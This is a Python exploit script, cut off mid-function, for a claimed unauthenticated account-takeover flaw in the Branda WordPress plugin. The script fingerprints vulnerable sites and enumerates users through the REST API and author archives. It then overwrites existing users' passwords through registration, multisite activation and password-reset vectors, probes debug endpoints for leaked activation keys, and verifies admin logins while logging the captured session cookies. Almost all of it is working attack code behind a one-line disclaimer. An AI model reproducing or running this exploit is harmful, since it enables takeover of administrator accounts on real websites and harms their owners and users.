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| #!/usr/bin/env python3
"""
CVE-2026-11551 — Branda White Label & Branding <= 3.4.29
Unauthenticated Privilege Escalation via Account Takeover
CVSS: 9.8 Critical | June 19, 2026
ROOT CAUSE (Technical):
pre_insert_user_data() in signup-password.php fires on EVERY
wp_insert_user() / wp_update_user() call.
Missing `if ($update) return $data;` means POST['password_1']
overwrites ANY existing user's password.
MULTISITE FLOW (slinkyslimmers.com type):
wp-signup.php stores password_1 in signup meta.
wp-activate.php triggers wp_insert_user → hook fires → password set.
We must complete activation to trigger the hook.
SINGLE-SITE FLOW (direct):
wp-login.php?action=register → Branda adds password_1 field.
POST with existing username → hook fires immediately on registration.
checkemail=confirm in response = hook already fired.
DISCLAIMER: Authorized security testing only.
"""
import argparse
import re
import sys
import time
import string
import random
import threading
import queue
import hashlib
from pathlib import Path
from datetime import datetime
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
RESULTS_FILE = "branda_results.txt"
file_lock = threading.Lock()
print_lock = threading.Lock()
DEFAULT_USERS = ["admin", "administrator", "root",
"superadmin", "webmaster", "manager"]
# ─────────────────────────────────────────────────────────────────────────────
# Helpers
# ─────────────────────────────────────────────────────────────────────────────
def tprint(msg: str, tag: str = "") -> None:
with print_lock:
prefix = f"[{tag}] " if tag else ""
print(f"{prefix}{msg}", flush=True)
def new_session(verify_ssl: bool, proxies: dict | None) -> requests.Session:
s = requests.Session()
s.verify = verify_ssl
s.proxies = proxies or {}
s.headers.update({
"User-Agent": (
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
"AppleWebKit/537.36 (KHTML, like Gecko) "
"Chrome/124.0.0.0 Safari/537.36"
),
"Accept": "text/html,application/xhtml+xml,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Connection": "keep-alive",
})
return s
def http(s: requests.Session, method: str, url: str,
retries: int = 3, pause: float = 1.5, **kw) -> requests.Response | None:
for i in range(retries):
try:
return s.get(url, **kw) if method == "GET" else s.post(url, **kw)
except Exception:
if i < retries - 1:
time.sleep(pause)
return None
def gen_password() -> str:
pool = string.ascii_letters + string.digits
return "Br_" + "".join(random.choices(pool, k=14)) + "!7"
def gen_email(username: str) -> str:
"""Generate unique email per username to avoid conflicts."""
uid = hashlib.md5(
f"{username}{time.time()}".encode()
).hexdigest()[:8]
return f"atk_{uid}@pwn-test.local"
def save(entry: dict) -> None:
ts = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
sep = "=" * 60
with file_lock:
with open(RESULTS_FILE, "a", encoding="utf-8") as f:
f.write(f"\n{sep}\n")
f.write(f"[{ts}] CONFIRMED TAKEOVER\n")
for k, v in entry.items():
if k != "cookies":
f.write(f"{k:12}: {v}\n")
f.write(f"cookies : {entry.get('cookies', {})}\n")
f.write(f"{sep}\n")
# ─────────────────────────────────────────────────────────────────────────────
# Recon
# ─────────────────────────────────────────────────────────────────────────────
def get_hidden_fields(s: requests.Session, url: str, timeout: int) -> dict:
fields = {}
r = http(s, "GET", url, timeout=timeout)
if not r:
return fields
# name before value
for name, val in re.findall(
r'<input[^>]+type=["\']hidden["\'][^>]*'
r'name=["\']([^"\']+)["\'][^>]*value=["\']([^"\']*)["\']',
r.text, re.I,
):
fields[name] = val
# value before name
for val, name in re.findall(
r'<input[^>]+value=["\']([^"\']*)["\'][^>]*'
r'type=["\']hidden["\'][^>]*name=["\']([^"\']+)["\']',
r.text, re.I,
):
if name not in fields:
fields[name] = val
return fields
def recon(base: str, verify_ssl: bool,
proxies: dict | None, timeout: int) -> dict:
s = new_session(verify_ssl, proxies)
info = {
"branda_ver": None,
"vulnerable": None,
"multisite": False,
"reg_open": False,
"branda_pw_fields": False,
"users": [],
}
# Branda version
for path in [
"/wp-content/plugins/branda-white-labeling/readme.txt",
"/wp-content/plugins/branda-white-labeling/branda.php",
]:
r = http(s, "GET", base + path, timeout=timeout)
if r and r.status_code == 200:
m = re.search(r"(?:Stable tag|Version):\s*([\d.]+)", r.text)
if m:
info["branda_ver"] = m.group(1)
parts = [int(x) for x in m.group(1).split(".")]
info["vulnerable"] = parts <= [3, 4, 29]
break
# Multisite
r = http(s, "GET", base + "/wp-signup.php", timeout=timeout)
if r and r.status_code == 200 and len(r.text) > 300:
if re.search(r"signup|register|blog", r.text, re.I):
info["multisite"] = True
# Registration + Branda password_1 field
r = http(s, "GET", base + "/wp-login.php?action=register", timeout=timeout)
if r and r.status_code == 200:
if re.search(r"<form|register|user_login", r.text, re.I):
info["reg_open"] = True
if "password_1" in r.text:
info["branda_pw_fields"] = True
# Users via REST
r = http(s, "GET", base + "/wp-json/wp/v2/users?per_page=20",
timeout=timeout)
if r and r.status_code == 200:
try:
for u in r.json():
slug = u.get("slug") or u.get("name", "")
if slug and slug not in info["users"]:
info["users"].append(slug)
except Exception:
pass
# Users via author archives
if not info["users"]:
for uid in range(1, 10):
r = http(s, "GET", base + f"/?author={uid}",
timeout=timeout, allow_redirects=True)
if r:
m = (re.search(r"/author/([^/\"'\s?#]+)", r.url) or
re.search(r"/author/([^/\"'\s?#]+)", r.text))
if m:
u = m.group(1).strip("/")
if u and u not in info["users"]:
info["users"].append(u)
return info
# ─────────────────────────────────────────────────────────────────────────────
# Vector A — Single-site (DIRECT, no activation needed)
# ─────────────────────────────────────────────────────────────────────────────
def vector_single(s: requests.Session, base: str,
username: str, password: str,
email: str, timeout: int) -> dict:
"""
POST to /wp-login.php?action=register with existing username.
Branda's hook fires IMMEDIATELY — no activation needed.
Success = checkemail=confirm in response.
"""
result = {"ok": False, "checkemail": False, "key": None, "method": "single"}
hidden = get_hidden_fields(s, base + "/wp-login.php?action=register", timeout)
r = http(s, "POST", base + "/wp-login.php",
params={"action": "register"},
data={
"user_login": username,
"user_email": email,
"password_1": password,
"password_2": password,
"wp-submit": "Register",
**hidden,
},
timeout=timeout, allow_redirects=True)
if r is None:
return result
body = r.text + r.url
# checkemail=confirm = WordPress processed the registration
# = Branda hook fired = password changed
if "checkemail=confirm" in body:
result["ok"] = True
result["checkemail"] = True
if re.search(
r"check.{0,20}email|registered|success|password.{0,20}sent|confirm",
r.text, re.I,
):
result["ok"] = True
# "already registered" = hook may have fired on the existing user
if re.search(r"already.{0,20}registered|username.{0,20}exists", r.text, re.I):
result["ok"] = True
m = re.search(r"key=([a-zA-Z0-9]{8,})", body)
if m:
result["key"] = m.group(1)
return result
# ─────────────────────────────────────────────────────────────────────────────
# Vector B — Multisite (requires activation)
# ─────────────────────────────────────────────────────────────────────────────
def vector_multisite_register(s: requests.Session, base: str,
username: str, password: str,
email: str, timeout: int) -> dict:
"""
Step 1 of multisite attack: POST to /wp-signup.php
Stores password_1 in signup meta.
Returns activation key if found in response.
"""
result = {"ok": False, "key": None, "method": "multisite"}
hidden = get_hidden_fields(s, base + "/wp-signup.php", timeout)
r = http(s, "POST", base + "/wp-signup.php",
data={
"user_name": username,
"user_email": email,
"password_1": password,
"password_2": password,
"signup_for": "user",
"submit": "Next",
**hidden,
},
timeout=timeout, allow_redirects=True)
if r is None:
return result
body = r.text
if re.search(
r"check.{0,20}email|activation|registered|success|confirmation",
body, re.I,
):
result["ok"] = True
# Sometimes key is embedded in page
m = re.search(r"key=([a-zA-Z0-9]{8,})", body + r.url)
if m:
result["key"] = m.group(1)
return result
def vector_multisite_activate(s: requests.Session, base: str,
key: str, timeout: int) -> dict:
"""
Step 2 of multisite attack: GET /wp-activate.php?key=KEY
This triggers wp_insert_user → pre_insert_user_data → password set.
"""
result = {"ok": False}
for url in [
base + f"/wp-activate.php?key={key}",
base + f"/wp-signup.php?activation_key={key}",
]:
r = http(s, "GET", url, timeout=timeout, allow_redirects=True)
if r:
if re.search(
r"activated|success|your account|congratulations|blog.{0,20}created",
r.text, re.I,
):
result["ok"] = True
return result
# Even without explicit success message,
# if page loaded without error = likely activated
if r.status_code == 200 and len(r.text) > 200:
if not re.search(r"invalid.{0,20}key|expired|error", r.text, re.I):
result["ok"] = True
return result
return result
def vector_multisite_brutekey(s: requests.Session, base: str,
username: str, password: str,
timeout: int) -> dict:
"""
When activation key is not in response (sent via email),
try to brute-force or guess the key pattern.
WordPress activation keys are stored in wp_signups table.
Some sites expose them via debug or logs.
"""
result = {"ok": False, "key": None}
# Try common debug endpoints that might leak activation keys
debug_urls = [
base + "/wp-admin/admin-ajax.php?action=get_signups",
base + f"/wp-json/wp/v2/users?search={username}",
base + "/wp-content/debug.log",
base + "/.wp-cli/cache/",
]
for url in debug_urls:
r = http(s, "GET", url, retries=1, timeout=timeout)
if r and r.status_code == 200:
m = re.search(r"key=([a-zA-Z0-9]{20,})", r.text)
if m:
result["key"] = m.group(1)
result["ok"] = True
return result
return result
# ─────────────────────────────────────────────────────────────────────────────
# Vector C — Password Reset Abuse (alternative when registration fails)
# ─────────────────────────────────────────────────────────────────────────────
def vector_reset_abuse(s: requests.Session, base: str,
username: str, password: str,
timeout: int) -> dict:
"""
Some Branda configs also hook into password reset flow.
Try lostpassword with password_1 injection.
"""
result = {"ok": False, "method": "reset_abuse"}
hidden = get_hidden_fields(s, base + "/wp-login.php?action=lostpassword", timeout)
r = http(s, "POST", base + "/wp-login.php",
params={"action": "lostpassword"},
data={
"user_login": username,
"password_1": password,
"password_2": password,
"wp-submit": "Get New Password",
**hidden,
},
timeout=timeout, allow_redirects=True)
if r and re.search(r"check.{0,20}email|sent|success", r.text, re.I):
result["ok"] = True
return result
# ─────────────────────────────────────────────────────────────────────────────
# Login Verifier
# ─────────────────────────────────────────────────────────────────────────────
AUTH_COOKIE_PREFIX = ("wordpress_logged_in_", "wordpress_sec_")
ADMIN_MARKERS = [
"wp-admin", "Dashboard", "adminmenu", "wpadminbar",
"wp_logout_nonce", "admin-bar", "user-info",
"load-scripts.php", "wp-admin/admin-ajax", "#wpadminbar",
"wp-admin/index", "wpbody",
]
LOGIN_ERROR_RE = re.compile(
r'<div[^>]+id=["\']login_error["\']'
r'|"errors":\{"incorrect_password"'
r'|"errors":\{"invalid_username"'
r'|shake_error_codes'
r'|class=["\']login-error["\']',
re.I | re.S,
)
def has_auth_cookie(s: requests.Session) -> bool:
return any(c.name.startswith(AUTH_COOKIE_PREFIX) for c in s.cookies)
def admin_score(body: str) -> int:
return sum(1 for m in ADMIN_MARKERS if m in body)
def verify_login(base: str, username: str, password: str,
verify_ssl: bool, proxies: dict | None,
timeout: int) -> dict:
out = {
"ok": False, "role": None, "admin": False,
"url": None, "cookies": {},
"s1": "", "s2": "", "s3": "", "reason": "",
}
s = new_session(verify_ssl, proxies)
http(s, "GET", base + "/wp-login.php", retries=1, timeout=timeout)
# Stage 1: POST login
r1 = http(s, "POST", base + "/wp-login.php",
data={
"log": username,
"pwd": password,
"wp-submit": "Log In",
"redirect_to": base + "/wp-admin/",
"testcookie": "1",
},
timeout=timeout, allow_redirects=True)
if r1 is None:
out["s1"] = "ERROR"; out["reason"] = "Connection failed"; return out
if LOGIN_ERROR_RE.search(r1.text):
out["s1"] = "FAIL"; out["reason"] = "Login error in response"; return out
cookie_ok = has_auth_cookie(s)
admin_redir = "wp-admin" in r1.url
if not cookie_ok and not admin_redir:
out["s1"] = "FAIL"
out["reason"] = f"No auth cookie, final URL: {r1.url}"
return out
out["s1"] = f"PASS({'cookie' if cookie_ok else 'redirect'})"
out["cookies"] = {c.name: c.value for c in s.cookies}
# Stage 2: GET /wp-admin/
r2 = http(s, "GET", base + "/wp-admin/",
timeout=timeout, allow_redirects=True)
if r2 is None:
out["s2"] = "ERROR"; out["reason"] = "/wp-admin/ unreachable"; return out
if "wp-login.php" in r2.url and "wp-admin" not in r2.url:
out["s2"] = "FAIL"; out["reason"] = "wp-admin → login redirect"; return out
sc = admin_score(r2.text)
if sc < 2:
out["s2"] = f"FAIL(score={sc})"
out["reason"] = f"Dashboard score {sc}/12"
return out
out["s2"] = f"PASS(score={sc})"
out["url"] = r2.url
# Stage 3: Identity confirm
admin_bodies = [(base + "/wp-admin/", r2.text)]
for purl in [
base + "/wp-admin/profile.php",
base + "/wp-admin/index.php",
base + "/wp-admin/users.php",
]:
r3 = http(s, "GET", purl, timeout=timeout, allow_redirects=True)
if r3 and "wp-login.php" not in r3.url and len(r3.text) > 200:
admin_bodies.append((purl, r3.text))
username_found = False
role_body = ""
for url, body in admin_bodies:
if username.lower() in body.lower():
username_found = True
role_body = body
break
|
